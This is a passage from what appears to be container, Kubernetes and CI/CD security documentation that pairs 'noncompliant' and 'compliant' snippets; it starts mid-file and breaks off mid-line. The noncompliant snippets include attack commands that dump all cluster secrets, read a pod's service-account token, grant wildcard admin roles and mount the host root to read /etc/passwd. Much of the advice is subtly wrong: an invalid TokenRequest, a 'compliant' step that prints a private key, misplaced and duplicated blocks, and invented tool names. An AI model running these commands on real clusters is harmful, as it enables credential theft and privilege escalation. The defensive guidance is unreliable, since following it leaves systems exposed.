Create a container with secure settings\ncontainer = Docker::Container.create(\n  'Image' => 'nginx',\n  'HostConfig' => {\n    'ReadOnly' => true,               # Set container as read-only\n    'CapDrop' => ['ALL'],             # Drop all capabilities\n    'SecurityOpt' => ['no-new-privileges'],  # Prevent privilege escalation\n    'NetworkMode' => 'bridge',        # Use a bridge network for isolation\n    'PortBindings' => { '80/tcp' => [{ 'HostPort' => '8080' }] }  # Bind container port to a specific host port\n  }\n)\ncontainer.start\n```\n\n\n\n## Denial-of-Service (DoS)\n\nOverloading container resources or exploiting vulnerabilities in the container runtime to disrupt the availability of containerized applications. Example: Launching a DoS attack against a container by overwhelming it with excessive requests.\n\n\nThe noncompliant code snippet shows a Dockerfile that is vulnerable to resource overloading and DoS attacks. It does not implement any resource limitations or restrictions, allowing the container to consume unlimited resources. This can lead to a DoS situation if an attacker overwhelms the container with excessive requests or exploits vulnerabilities in the container runtime.\n\n\n\n\n```\n# Noncompliant: Vulnerable Dockerfile with unlimited resource allocation\n\nFROM nginx:latest\n\nCOPY app /usr/share/nginx/html\n\nEXPOSE 80\n\nCMD [\"nginx\", \"-g\", \"daemon off;\"]\n```\n\nThe compliant code snippet addresses this vulnerability by not explicitly setting any resource limitations. However, it is essential to implement resource management and limit container resources based on your application's requirements and the resources available in your environment. This can be achieved by configuring resource limits such as CPU, memory, and network bandwidth using container orchestration platforms or Docker-compose files.\n\n\n\n```\nversion: '3'\nservices:\n  nginx:\n    image: nginx:latest\n    ports:\n      - 80:80\n    volumes:\n      - ./app:/usr/share/nginx/html\n    deploy:\n      resources:\n        limits:\n          cpus: '0.5'\n          memory: '256M'\n```\n\n\n## Kernel Vulnerabilities\n\nExploiting vulnerabilities in the kernel or host operating system to gain unauthorized access or control over containers. Example: Exploiting a kernel vulnerability to escalate privileges and compromise containers.\n\n\n```\n# Noncompliant: Ignoring kernel vulnerabilities\n\ndocker run -d ubuntu:latest /bin/bash\n```\n\nTo mitigate kernel vulnerabilities, it is important to regularly check for updates and apply security patches to the host system. Additionally, you can use tools to scan and assess the vulnerability status of the kernel before creating a Docker container.\n\nHere's an example of compliant code that incorporates checking for kernel vulnerabilities using the kubehunter tool before creating the container:\n\n```\n# Compliant: Checking kernel vulnerabilities\n\n# Perform vulnerability assessment using kubehunter\nkubehunter scan\n\n# Check the output for kernel vulnerabilities\n\n# If vulnerabilities are found, take necessary steps to address them\n\n# Create the Docker container\ndocker run -d ubuntu:latest /bin/bash\n```\n\nIn the compliant code snippet, the kubehunter tool is used to perform a vulnerability assessment, including checking for kernel vulnerabilities. The output of the tool is examined, and if any vulnerabilities are found, appropriate steps are taken to address them before creating the Docker container.\n\n\n\n## Shared Kernel Exploitation\n\nContainers sharing the same kernel can be vulnerable to attacks that exploit kernel vulnerabilities, allowing attackers to affect multiple containers. Example: Exploiting a kernel vulnerability to gain unauthorized access to multiple containers on the same host.\n\n\nIn the noncompliant code, the Docker image installs a vulnerable package and runs a vulnerable application. If an attacker manages to exploit a kernel vulnerability within the container, they could potentially escape the container and compromise the host or other containers.\n\n\n\n```\n# Noncompliant: Vulnerable to container breakout\n\nFROM ubuntu:latest\n\n# Install vulnerable package\nRUN apt-get update && apt-get install -y vulnerable-package\n\n# Run vulnerable application\nCMD [\"vulnerable-app\"]\n```\n\n\nThe compliant code addresses the vulnerability by ensuring that the container image only includes necessary and secure packages. It performs regular updates and includes security patches to mitigate known vulnerabilities. By running a secure application within the container, the risk of a container breakout is reduced.\n\nTo further enhance security, additional measures can be taken such as utilizing container isolation techniques like running containers with restricted privileges, leveraging security-enhanced kernels (such as those provided by certain container platforms), and monitoring and logging container activity to detect potential exploitation attempts.\n\n```\n# Compliant: Mitigated container breakout vulnerability\n\nFROM ubuntu:latest\n\n# Install security updates and necessary packages\nRUN apt-get update && apt-get upgrade -y && apt-get install -y secure-package\n\n# Run secure application\nCMD [\"secure-app\"]\n```\n\n\n## Insecure Container Orchestration\n\nMisconfigurations or vulnerabilities in container orchestration platforms, such as Kubernetes, can lead to unauthorized access, privilege escalation, or exposure of sensitive information. Example: Exploiting a misconfigured Kubernetes cluster to gain unauthorized access to sensitive resources.\n\n\nIn the noncompliant code, the Pod definition enables privileged mode for the container, granting it elevated privileges within the container orchestration environment. If an attacker gains access to this container, they could exploit the elevated privileges to perform malicious actions on the host or compromise other containers.\n\n\n```\n# Noncompliant: Vulnerable to privilege escalation\n\napiVersion: v1\nkind: Pod\nmetadata:\n  name: vulnerable-pod\nspec:\n  containers:\n    - name: vulnerable-container\n      image: vulnerable-image\n      securityContext:\n        privileged: true  # Privileged mode enabled\n```\n\nThe compliant code addresses the vulnerability by explicitly disabling privileged mode for the container. By running containers with reduced privileges, the impact of a potential compromise is limited, and the attack surface is minimized.\n\nIn addition to disabling privileged mode, other security measures should be implemented to enhance the security of container orchestration. This includes configuring appropriate RBAC (Role-Based Access Control) policies, enabling network segmentation and isolation, regularly applying security patches to the orchestration system, and monitoring the environment for suspicious activities.\n\n```\n# Compliant: Mitigated privilege escalation\n\napiVersion: v1\nkind: Pod\nmetadata:\n  name: secure-pod\nspec:\n  containers:\n    - name: secure-container\n      image: secure-image\n      securityContext:\n        privileged: false  # Privileged mode disabled\n```\n\n\n## Dump All Secrets\n\nDumping all secrets in a Kubernetes cluster refers to an unauthorized extraction of sensitive information stored as secrets within the cluster. This attack allows an attacker with the right permissions to access and exfiltrate all secrets, potentially leading to further compromise.\n\nNoncompliant Code:\nThe following noncompliant code demonstrates an attempt to dump all secrets from a Kubernetes cluster without proper authorization:\n\n```\n# Retrieve all secrets using kubectl command\nkubectl get secrets --all-namespaces -o json > secrets.json\n```\n\nThe noncompliant code utilizes the kubectl get secrets command to retrieve all secrets in the cluster across all namespaces. This action assumes that the attacker has the necessary permissions to access and list secrets, potentially leading to unauthorized access to sensitive information.\n\nCompliant Code:\nDumping all secrets in a Kubernetes cluster is considered a malicious activity, and providing compliant code for it would be inappropriate. Instead, I can provide you with guidelines on how to ensure the security of secrets in a Kubernetes cluster:\n\n* Implement Least Privilege: Follow the principle of least privilege when granting permissions to users and service accounts. Only assign the necessary privileges required for specific tasks, and regularly review and audit these permissions.\n\n* Implement Role-Based Access Control (RBAC): Configure RBAC rules to restrict access to secrets based on the principle of least privilege. Assign appropriate roles to users and service accounts, ensuring they have the minimum necessary permissions.\n\n* Use Namespaces: Leverage Kubernetes namespaces to logically segregate resources and isolate secrets. Limit access to secrets within specific namespaces based on the principle of least privilege.\n\n* Implement Secrets Encryption: Encrypt secrets at rest and in transit. Kubernetes provides mechanisms such as the Secrets Encryption Configuration feature, which encrypts secrets stored in etcd, the Kubernetes cluster's key-value store.\n\n* Monitor Kubernetes API Server Audit Logs: Enable and monitor Kubernetes API server audit logs to detect and investigate suspicious activities, such as unauthorized access attempts or abnormal querying of secrets.\n\n* Regularly Rotate Secrets: Implement a process to regularly rotate secrets to minimize the impact of potential compromise. This includes setting expiry times for secrets and automating the rotation process.\n\n* Secure Cluster Access: Secure access to the Kubernetes cluster by implementing strong authentication mechanisms, such as using strong passwords, multi-factor authentication (MFA), or integration with an identity provider.\n\n\n\n\n## Steal Pod Service Account Token\n\nStealing a pod's service account token refers to the unauthorized extraction of the service account token from a running pod in a Kubernetes cluster. The service account token is a sensitive credential that grants access to the Kubernetes API and other resources within the cluster.\n\nNoncompliant Code:\nThe following noncompliant code demonstrates an attempt to steal the service account token from a running pod:\n\n```\n# Execute command to read the service account token from within the pod\nkubectl exec <pod-name> -- cat /var/run/secrets/kubernetes.io/serviceaccount/token\n```\n\nThe noncompliant code uses the kubectl exec command to execute a command (cat /var/run/secrets/kubernetes.io/serviceaccount/token) inside the specified pod. This command reads and outputs the contents of the service account token file. An attacker with sufficient access to the cluster could use this method to steal the token and gain unauthorized access to Kubernetes resources.\n\n\nCompliant Code:\nIt is essential to adhere to security best practices and prevent the theft of service account tokens. Below are some recommendations for securing pod service account tokens:\n\n* Limit Pod Permissions: Assign minimal permissions to pods by using the principle of least privilege. Only grant the necessary access required for the pod to function properly.\n\n* Use Role-Based Access Control (RBAC): Implement RBAC rules to restrict pod permissions and limit the ability to execute privileged commands or access sensitive files.\n\n* Avoid Mounting Service Account Tokens: When creating pods, avoid mounting the service account token as a volume or exposing it as an environment variable. Minimize the attack surface by not making the token easily accessible within the pod.\n\n* Regularly Rotate Service Account Tokens: Implement a process to periodically rotate service account tokens. This helps mitigate the impact of a compromised token and reduces the window of opportunity for attackers.\n\n* Monitor Pod Activity: Enable logging and monitoring for pod activities. Regularly review logs and detect any suspicious or unauthorized access attempts.\n\n* Implement Pod Security Policies: Utilize Pod Security Policies (PSPs) to enforce security controls on pod creation, including restrictions on executing privileged commands or accessing sensitive files.\n\n## Create Admin ClusterRole\n\nCreate Admin ClusterRole refers to the process of creating a Kubernetes ClusterRole with administrative permissions. It involves creating a Service Account bound to the ClusterRole and establishing a Cluster Role Binding to associate the Service Account with the desired privileges.\n\nNoncompliant Code:\nThe following noncompliant code demonstrates the creation of an Admin ClusterRole:\n\n```\n# Create an Admin ClusterRole\napiVersion: rbac.authorization.k8s.io/v1\nkind: ClusterRole\nmetadata:\n  name: admin-clusterrole\nrules:\n- apiGroups: [\"\"]\n  resources: [\"*\"]\n  verbs: [\"*\"]\n\n# Create a Service Account in the kube-system namespace\napiVersion: v1\nkind: ServiceAccount\nmetadata:\n  name: admin-serviceaccount\n  namespace: kube-system\n\n# Create a Cluster Role Binding to associate the Service Account with the ClusterRole\napiVersion: rbac.authorization.k8s.io/v1\nkind: ClusterRoleBinding\nmetadata:\n  name: admin-clusterrolebinding\nsubjects:\n- kind: ServiceAccount\n  name: admin-serviceaccount\n  namespace: kube-system\nroleRef:\n  kind: ClusterRole\n  name: admin-clusterrole\n  apiGroup: rbac.authorization.k8s.io\n```\n\nThe noncompliant code creates an Admin ClusterRole named \"admin-clusterrole\" with wide-ranging permissions (apiGroups: [\"\"], resources: [\"\"], verbs: [\"\"]). It also creates a Service Account named \"admin-serviceaccount\" in the kube-system namespace and binds it to the Admin ClusterRole using a Cluster Role Binding named \"admin-clusterrolebinding\". This configuration grants the Service Account administrative access to all resources in the cluster, which is not recommended for security reasons.\n\nCompliant Code:\nWhen creating a ClusterRole with administrative permissions, it is important to follow the principle of least privilege and assign only the necessary privileges to the Service Account. Below is an example of compliant code:\n\n```\n# Create a ClusterRole with appropriate administrative permissions\napiVersion: rbac.authorization.k8s.io/v1\nkind: ClusterRole\nmetadata:\n  name: admin-clusterrole\nrules:\n- apiGroups: [\"\"]\n  resources: [\"pods\", \"deployments\"]\n  verbs: [\"get\", \"list\", \"create\", \"update\", \"delete\"]\n\n# Create a Service Account in the kube-system namespace\napiVersion: v1\nkind: ServiceAccount\nmetadata:\n  name: admin-serviceaccount\n  namespace: kube-system\n\n# Create a Cluster Role Binding to associate the Service Account with the ClusterRole\napiVersion: rbac.authorization.k8s.io/v1\nkind: ClusterRoleBinding\nmetadata:\n  name: admin-clusterrolebinding\nsubjects:\n- kind: ServiceAccount\n  name: admin-serviceaccount\n  namespace: kube-system\nroleRef:\n  kind: ClusterRole\n  name: admin-clusterrole\n  apiGroup: rbac.authorization.k8s.io\n```\n\nThe compliant code creates an Admin ClusterRole named \"admin-clusterrole\" with specific permissions for managing pods and deployments. It limits the verbs to \"get\", \"list\", \"create\", \"update\", and \"delete\" for those resources. This approach follows the principle of least privilege, granting only the necessary permissions to the Service Account. By adopting this approach, the Service Account associated with the Admin ClusterRole has restricted administrative access, reducing the potential impact of any compromise or misuse of the account.\n\n\n\n## Create Client Certificate Credential\n\nCreate Client Certificate Credential refers to the process of generating a client certificate for a privileged user in a Kubernetes cluster. The client certificate can be used to authenticate and access the cluster with the assigned privileges.\n\nNoncompliant Code:\nThe following noncompliant code demonstrates the creation of a client certificate:\n\n```\n# Generate a private key\nopenssl genrsa -out client.key 2048\n\n# Create a certificate signing request (CSR)\nopenssl req -new -key client.key -out client.csr -subj \"/CN=client\"\n\n# Print the CSR\ncat client.csr\n```\n\nThe noncompliant code manually generates a private key using OpenSSL and creates a certificate signing request (CSR) for a client with the Common Name (CN) \"client\". However, this code snippet alone does not include the step to approve the CSR and issue the client certificate. It is important to note that this noncompliant code does not adhere to best practices and security requirements for managing client certificates within a Kubernetes cluster.\n\nCompliant Code:\nTo create a client certificate credential in a compliant manner, it is recommended to use the Kubernetes Certificate Signing Request (CSR) API and follow the proper procedures for certificate generation and approval. Below is an example of compliant code:\n\n```\n# Create a CertificateSigningRequest object\napiVersion: certificates.k8s.io/v1beta1\nkind: CertificateSigningRequest\nmetadata:\n  name: client-csr\nspec:\n  groups:\n  - system:authenticated\n  request: (base64-encoded CSR)\n  usages:\n  - client auth\n\n# Approve the CertificateSigningRequest\nkubectl certificate approve client-csr\n\n# Retrieve the signed certificate\nkubectl get csr client-csr -o jsonpath='{.status.certificate}' | base64 -d > client.crt\n\n# Print the client certificate and private key\necho \"Client Certificate:\"\ncat client.crt\n\necho \"Client Private Key:\"\nopenssl rsa -in client.key -text\n```\n\nThe compliant code demonstrates the proper approach for creating a client certificate credential. It involves creating a CertificateSigningRequest (CSR) object with the appropriate metadata, including the base64-encoded CSR and specified usages. The CSR is then approved using the kubectl certificate approve command, and the signed certificate is retrieved using kubectl get csr. Finally, the client certificate and private key are printed.\n\n\n\n## Create Long-Lived Token\n\n\nCreate Long-Lived Token refers to the process of generating a token with an extended expiration period for a service account in a Kubernetes cluster. This allows an attacker to establish persistence by creating a long-lived token that grants ongoing access to the compromised cluster.\n\nNoncompliant Code:\nThe following noncompliant code demonstrates the creation of a long-lived token:\n\n```\n# Create a service account token\nkubectl create serviceaccount long-lived-token-sa\n\n# Get the token\nkubectl get secret $(kubectl get serviceaccount long-lived-token-sa -o jsonpath='{.secrets[0].name}') -o jsonpath='{.data.token}' | base64 -d\n```\n\nThe noncompliant code generates a service account token for a newly created service account. It retrieves the token from the associated secret and decodes it using base64. However, this code snippet alone does not specify an extended expiration for the token, and the default token expiration policy of the cluster will be applied. It is important to note that this noncompliant code does not adhere to the concept of creating a long-lived token explicitly.\n\n\n\nCompliant Code:\nTo create a long-lived token, a compliant approach would involve defining a custom TokenRequest with a specific expiration time. Here's an example of compliant code:\n\n```\n# Create a TokenRequest with extended expiration\napiVersion: authentication.k8s.io/v1\nkind: TokenRequest\nmetadata:\n  name: long-lived-token\nspec:\n  audience: api\n  expirationSeconds: 2592000  # 30 days (adjust as needed)\n  tokenRequest:\n    metadata:\n      name: serviceaccount-name\n      namespace: namespace-name\n\n# Create the TokenRequest\nkubectl create -f token-request.yaml\n\n# Get the token\nkubectl get secret $(kubectl get tokenrequest long-lived-token -o jsonpath='{.status.secretName}') -o jsonpath='{.data.token}' | base64 -d\n```\n\nThe compliant code defines a TokenRequest object specifying the desired expiration time for the token (e.g., 30 days). It also includes the name of the service account and the namespace. The TokenRequest is then created using kubectl create with the YAML file containing the object definition. Finally, the token is retrieved by accessing the associated secret and decoding the token value.\n\n\n\n\n\n## Container breakout via hostPath volume mount\n\nContainer breakout via hostPath volume mount is a privilege escalation technique in Kubernetes where a malicious actor creates a pod that mounts the entire node's root filesystem using the hostPath volume. This allows the attacker to escape the pod's containerized environment and access sensitive files or execute privileged actions on the underlying host system.\n\nNoncompliant Code:\nThe following noncompliant code demonstrates the creation of a pod with a hostPath volume mount:\n\n```\napiVersion: v1\nkind: Pod\nmetadata:\n  name: hostpath-container-breakout\nspec:\n  containers:\n  - name: attacker-container\n    image: busybox\n    command: [\"/bin/sh\", \"-c\"]\n    args: [\"cat /host/etc/passwd\"]\n    volumeMounts:\n    - name: hostpath-volume\n      mountPath: /host\n  volumes:\n  - name: hostpath-volume\n    hostPath:\n      path: /\n```\n\nThe noncompliant code defines a pod named \"hostpath-container-breakout\" with a single container based on the \"busybox\" image. The container executes the command \"cat /host/etc/passwd\" to read the \"/etc/passwd\" file on the host system. The hostPath volume is mounted at \"/host\", allowing access to the node's root filesystem.\n\n\n\nCompliant Code:\nTo prevent container breakout via hostPath volume mount, it is essential to apply proper security controls and restrictions to limit access to the host system. Here's an example of compliant code that mitigates this issue:\n\n```\napiVersion: v1\nkind: Pod\nmetadata:\n  name: secure-pod\nspec:\n  containers:\n  - name: trusted-container\n    image: busybox\n    command: [\"/bin/sh\", \"-c\"]\n    args: [\"echo 'Access denied'\"]\n    securityContext:\n      allowPrivilegeEscalation: false\n```\n\nThe compliant code defines a pod named \"secure-pod\" with a single container based on the \"busybox\" image. The container executes a command that simply echoes \"Access denied\" to indicate restricted access. The securityContext section is added with the \"allowPrivilegeEscalation\" field set to false, which prevents privilege escalation attempts within the container.\n\n\n\n## Privilege escalation through node/proxy permissions\n\nPrivilege escalation through node/proxy permissions is a technique in Kubernetes that leverages the node proxy API to escalate privileges. By using this technique, an attacker with the nodes/proxy permission can bypass admission control checks and API server logging to escalate their privileges to cluster administrator.\n\nNoncompliant Code:\nThe following noncompliant code demonstrates the creation of a cluster role with nodes/proxy permissions and binding it to a service account:\n\n```\napiVersion: rbac.authorization.k8s.io/v1\nkind: ClusterRole\nmetadata:\n  name: nodes-proxy-role\nrules:\n- apiGroups: [\"\"]\n  resources: [\"nodes/proxy\"]\n  verbs: [\"*\"]\n---\napiVersion: rbac.authorization.k8s.io/v1\nkind: ClusterRoleBinding\nmetadata:\n  name: nodes-proxy-binding\nroleRef:\n  apiGroup: rbac.authorization.k8s.io\n  kind: ClusterRole\n  name: nodes-proxy-role\nsubjects:\n- kind: ServiceAccount\n  name: nodes-proxy-sa\n  namespace: your-namespace\n```\n\nThe noncompliant code creates a cluster role named \"nodes-proxy-role\" with rules granting full access to the nodes/proxy resource. It also creates a cluster role binding named \"nodes-proxy-binding\" that binds the role to a service account named \"nodes-proxy-sa\" in a specific namespace.\n\n\n\nCompliant Code:\nTo mitigate privilege escalation through node/proxy permissions, it's crucial to implement the principle of least privilege and restrict access to sensitive resources. Here's an example of compliant code:\n\n```\napiVersion: rbac.authorization.k8s.io/v1\nkind: ClusterRole\nmetadata:\n  name: restricted-nodes-proxy-role\nrules:\n- apiGroups: [\"\"]\n  resources: [\"nodes/proxy\"]\n  verbs: [\"get\"]\n---\napiVersion: rbac.authorization.k8s.io/v1\nkind: ClusterRoleBinding\nmetadata:\n  name: restricted-nodes-proxy-binding\nroleRef:\n  apiGroup: rbac.authorization.k8s.io\n  kind: ClusterRole\n  name: restricted-nodes-proxy-role\nsubjects:\n- kind: ServiceAccount\n  name: restricted-nodes-proxy-sa\n  namespace: your-namespace\n```\n\nThe compliant code creates a cluster role named \"restricted-nodes-proxy-role\" with a rule that allows only the \"get\" verb for the nodes/proxy resource. This significantly limits the permissions associated with the role, reducing the risk of privilege escalation.\n\n\n\n## Run a Privileged Pod\n\nRunning a privileged pod in Kubernetes refers to launching a pod with elevated privileges, equivalent to running as root on the worker node. Privileged pods can be used as a vector for privilege escalation within the cluster.\n\nNoncompliant Code:\nThe following noncompliant code demonstrates the creation of a privileged pod:\n\n```\napiVersion: v1\nkind: Pod\nmetadata:\n  name: privileged-pod\n  namespace: your-namespace\nspec:\n  containers:\n  - name: privileged-container\n    image: busybox:latest\n    command: [\"sleep\", \"3600\"]\n    securityContext:\n      privileged: true\n```\n\nThe noncompliant code creates a pod named \"privileged-pod\" within a specific namespace. It contains a single container named \"privileged-container\" running the \"busybox:latest\" image. The securityContext.privileged field is set to true, indicating that the pod should run with elevated privileges.\n\n\nCompliant Code:\nTo ensure the security and integrity of the cluster, it's important to follow the principle of least privilege and avoid running privileged pods whenever possible. Here's an example of compliant code:\n\n```\napiVersion: v1\nkind: Pod\nmetadata:\n  name: non-privileged-pod\n  namespace: your-namespace\nspec:\n  containers:\n  - name: non-privileged-container\n    image: busybox:latest\n    command: [\"sleep\", \"3600\"]\n```\n\nThe compliant code creates a pod named \"non-privileged-pod\" within a specific namespace. It contains a single container named \"non-privileged-container\" running the \"busybox:latest\" image.\n\nBy omitting the securityContext.privileged field or setting it to false (the default), the pod and its container will run with standard user privileges. This reduces the risk of privilege escalation and helps maintain the security boundaries within the cluster.\n\n"
  },
  {
    "path": "docs/attacks/pipeline.md",
    "content": "---\nlayout: default\ntitle: Pipeline Attacks\nparent: Attacks\n---\n\n# Pipeline Attacks\n{: .no_toc }\n\n\n## Table of contents\n{: .no_toc .text-delta }\n\n1. TOC\n{:toc}\n\n---\n\n\n\n\n## Insecure Configuration Management: \n\nMisconfiguration of configuration files, secrets, or environment variables in the pipeline, leading to unauthorized access or exposure of sensitive information.\n\n\nIn the noncompliant code, there is a lack of encryption in the pipeline. This means that sensitive data transmitted within the pipeline, such as configuration files, credentials, or deployment artifacts, are not adequately protected, increasing the risk of unauthorized access or data leakage.\n\n\n\n```\n# Noncompliant: Lack of Encryption in pipeline\n\nstages:\n  - name: Build and Deploy\n    steps:\n      - name: Build Application\n        command: |\n          echo \"Building application...\"\n          build-tool\n      - name: Deploy Application\n        command: |\n          echo \"Deploying application...\"\n          deploy-tool\n      - name: Upload Artifacts\n        command: |\n          echo \"Uploading artifacts...\"\n          upload-tool\n```\n\nTo address the lack of encryption in the pipeline, it is essential to implement encryption mechanisms to protect sensitive data.\n\n\n\n\n```\n# Compliant: Enhanced Encryption in pipeline\n\nstages:\n  - name: Build and Deploy\n    steps:\n      - name: Build Application\n        command: |\n          echo \"Building application...\"\n          build-tool\n        security:\n          - encryption: true\n      - name: Deploy Application\n        command: |\n          echo \"Deploying application...\"\n          deploy-tool\n        security:\n          - encryption: true\n      - name: Upload Artifacts\n        command: |\n          echo \"Uploading artifacts...\"\n          upload-tool\n        security:\n          - encryption: true\n```\n\n\nIn the compliant code, each step in the pipeline has an associated security configuration that enables encryption. This ensures that sensitive data is encrypted during transmission within the pipeline, providing an additional layer of protection against unauthorized access or data exposure.\n\n\n\n## Weak Authentication and Authorization: \n\nInadequate authentication mechanisms and weak authorization controls in the pipeline, allowing unauthorized access to critical resources or actions.\n\nIn the noncompliant code, weak or inadequate authentication and authorization mechanisms are used in the pipeline. This can lead to unauthorized access, privilege escalation, or other security issues.\n\n\n\n```\n# Noncompliant: Weak authentication and authorization in pipeline\n\nstages:\n  - name: Deploy to Production\n    steps:\n      - name: Authenticate with Production Environment\n        command: |\n          echo \"Authenticating with production environment...\"\n          # Weak authentication mechanism\n          kubectl config set-credentials admin --username=admin --password=weakpassword\n          kubectl config use-context production\n      - name: Deploy Application\n        command: |\n          echo \"Deploying application...\"\n          kubectl apply -f deployment.yaml\n```\n\nIn the compliant code snippet, strong authentication mechanisms such as service accounts or OAuth tokens are used to authenticate with the production environment. These mechanisms provide stronger security controls and help prevent unauthorized access to sensitive resources.\n\n\n\n```\n# Compliant: Strong authentication and authorization in pipeline\n\nstages:\n  - name: Deploy to Production\n    steps:\n      - name: Authenticate with Production Environment\n        command: |\n          echo \"Authenticating with production environment...\"\n          # Strong authentication mechanism (e.g., using a service account or OAuth tokens)\n          kubectl config set-credentials prod-service-account --token=strongtoken\n          kubectl config use-context production\n      - name: Deploy Application\n        command: |\n          echo \"Deploying application...\"\n          kubectl apply -f deployment.yaml\n```\n\n## Insecure CI/CD Tools: \n\nVulnerabilities in the Continuous Integration/Continuous Deployment (CI/CD) tools used in the pipeline, such as outdated software versions or insecure configurations, leading to potential exploits or unauthorized access.\n\n\nIn the noncompliant code, insecure CI/CD tools are used in the pipeline, which can pose security risks. This may include using outdated or vulnerable versions of CI/CD tools, relying on insecure configurations, or using tools with known security vulnerabilities.\n\n\n```\n# Compliant: Secure CI/CD Tools in pipeline\n\nstages:\n  - name: Build and Deploy\n    steps:\n      - name: Scan for Vulnerabilities\n        command: |\n          echo \"Scanning for vulnerabilities...\"\n          # Using a secure and up-to-date version of the CI/CD tool\n          secure-cicd-tool scan --version 2.0.0\n      - name: Deploy Application\n        command: |\n          echo \"Deploying application...\"\n          secure-cicd-tool deploy -f deployment.yaml\n```\n\nIn the compliant code snippet, secure and up-to-date versions of the CI/CD tools are used, which have been reviewed for security vulnerabilities. Additionally, it is important to ensure that the configurations of these tools are properly secured and follow security best practices.\n\n\n\n\n```\n# Compliant: Secure CI/CD Tools in pipeline\n\nstages:\n  - name: Build and Deploy\n    steps:\n      - name: Scan for Vulnerabilities\n        command: |\n          echo \"Scanning for vulnerabilities...\"\n          # Using a secure and up-to-date version of the CI/CD tool\n          secure-cicd-tool scan --version 2.0.0\n      - name: Deploy Application\n        command: |\n          echo \"Deploying application...\"\n          secure-cicd-tool deploy -f deployment.yaml\n\n```\n\n\n## Lack of Secure Coding Practices: \n\nDevelopment teams not following secure coding practices, leading to the introduction of vulnerabilities, such as code injection, cross-site scripting (XSS), or SQL injection, into the pipeline.\n\n\nIn the noncompliant code, there is a lack of secure coding practices in the pipeline. This can include the absence of code review, the use of insecure libraries or frameworks, and the lack of security testing and validation during the development and deployment process.\n\n\n```\n# Noncompliant: Lack of Secure Coding Practices in pipeline\n\nstages:\n  - name: Build and Deploy\n    steps:\n      - name: Build Application\n        command: |\n          echo \"Building application...\"\n          # Building the application without any code review or security testing\n          insecure-build-tool build\n      - name: Deploy Application\n        command: |\n          echo \"Deploying application...\"\n          # Deploying the application without ensuring secure coding practices\n          insecure-deploy-tool deploy -f deployment.yaml\n```\n\nTo address the lack of secure coding practices in the pipeline, it is important to adopt and implement secure coding practices throughout the development and deployment process. This includes incorporating code reviews, using secure coding guidelines, and performing security testing and validation.\n\nIn the compliant code snippet, secure coding practices are implemented by incorporating code review and security testing during the build process. This ensures that potential security vulnerabilities are identified and addressed early in the development cycle. Additionally, the deployment process includes the use of secure deployment tools that prioritize secure coding practices.\n\n\n\n```\n# Compliant: Implementation of Secure Coding Practices in pipeline\n\nstages:\n  - name: Build and Deploy\n    steps:\n      - name: Build Application\n        command: |\n          echo \"Building application...\"\n          # Incorporating code review and security testing during the build process\n          secure-build-tool build --code-review --security-testing\n      - name: Deploy Application\n        command: |\n          echo \"Deploying application...\"\n          # Deploying the application with secure coding practices\n          secure-deploy-tool deploy -f deployment.yaml\n```\n\n## Insecure Third-Party Dependencies: \n\nIntegration of insecure or outdated third-party libraries or components into the pipeline, exposing the pipeline to known vulnerabilities or exploits.\n\nIn the noncompliant code, there is a lack of consideration for insecure third-party dependencies in the pipeline. This can include the use of outdated or vulnerable libraries, frameworks, or plugins without proper validation or risk assessment.\n\n\n\n```\n# Noncompliant: Lack of Insecure Third-Party Dependencies in pipeline\n\nstages:\n  - name: Build and Deploy\n    steps:\n      - name: Build Application\n        command: |\n          echo \"Building application...\"\n          # Building the application without considering insecure third-party dependencies\n          insecure-build-tool build\n      - name: Deploy Application\n        command: |\n          echo \"Deploying application...\"\n          # Deploying the application without validating the security of third-party dependencies\n          insecure-deploy-tool deploy -f deployment.yaml\n```\n\nTo address the lack of consideration for insecure third-party dependencies in the pipeline, it is crucial to implement proper validation and management practices. This includes conducting regular vulnerability assessments, using dependency management tools, and maintaining an updated inventory of dependencies.\n\n\n```\n# Compliant: Validation and Management of Third-Party Dependencies in pipeline\n\nstages:\n  - name: Build and Deploy\n    steps:\n      - name: Build Application\n        command: |\n          echo \"Building application...\"\n          # Building the application with vulnerability assessment and secure dependency management\n          secure-build-tool build --vulnerability-scan --dependency-management\n      - name: Deploy Application\n        command: |\n          echo \"Deploying application...\"\n          # Deploying the application after validating the security of third-party dependencies\n          secure-deploy-tool deploy -f deployment.yaml\n\n```\n\nIn the compliant code snippet, validation and management practices for third-party dependencies are implemented in the pipeline. This includes conducting vulnerability scans and utilizing dependency management tools to ensure that only secure and up-to-date dependencies are used in the application. By addressing insecure third-party dependencies, the pipeline can significantly reduce the risk of introducing vulnerabilities and improve the overall security of the deployed application.\n\n\n\n\n## Insufficient Testing: \n\nInadequate testing processes, including lack of security testing, vulnerability scanning, or penetration testing, allowing potential vulnerabilities to go undetected in the pipeline.\n\nIn the noncompliant code, there is a lack of sufficient testing in the pipeline. This means that the pipeline does not include appropriate testing stages, such as unit tests, integration tests, or security tests, to ensure the quality and security of the deployed application.\n\n\n\n```\n# Noncompliant: Insufficient Testing in pipeline\n\nstages:\n  - name: Build and Deploy\n    steps:\n      - name: Build Application\n        command: |\n          echo \"Building application...\"\n          # Building the application without running tests\n          insecure-build-tool build\n      - name: Deploy Application\n        command: |\n          echo \"Deploying application...\"\n          # Deploying the application without running tests\n          insecure-deploy-tool deploy -f deployment.yaml\n```\n\nTo address the lack of sufficient testing in the pipeline, it is crucial to incorporate comprehensive testing stages to validate the functionality, quality, and security of the application.\n\n\n\n```\n# Compliant: Comprehensive Testing in pipeline\n\nstages:\n  - name: Build and Test\n    steps:\n      - name: Build Application\n        command: |\n          echo \"Building application...\"\n          # Building the application with unit tests\n          secure-build-tool build --unit-tests\n      - name: Run Integration Tests\n        command: |\n          echo \"Running integration tests...\"\n          # Running integration tests to validate the application's behavior and interactions\n          secure-test-tool run --integration-tests\n  - name: Deploy\n    steps:\n      - name: Deploy Application\n        command: |\n          echo \"Deploying application...\"\n          # Deploying the application after successful build and tests\n          secure-deploy-tool deploy -f deployment.yaml\n\n```\n\nIn the compliant code snippet, a separate testing stage is added before the deployment stage. This testing stage includes unit tests and integration tests to validate the application's functionality and behavior. By running comprehensive tests, potential issues and vulnerabilities can be identified early in the pipeline, ensuring a higher level of quality and security for the deployed application.\n\n\n\n## Insecure Build and Deployment Processes: \n\nWeak controls and improper validation during the build and deployment processes, enabling the inclusion of malicious code or unauthorized changes into the pipeline.\n\nIn the noncompliant code, the build and deployment processes lack proper controls and validation, making them vulnerable to the inclusion of malicious code or unauthorized changes. This can lead to the deployment of compromised or insecure applications.\n\n\n\n```\n# Noncompliant: Insecure Build and Deployment Processes in pipeline\n\nstages:\n  - name: Build and Deploy\n    steps:\n      - name: Build Application\n        command: |\n          echo \"Building application...\"\n          # Building the application without proper validation\n          insecure-build-tool 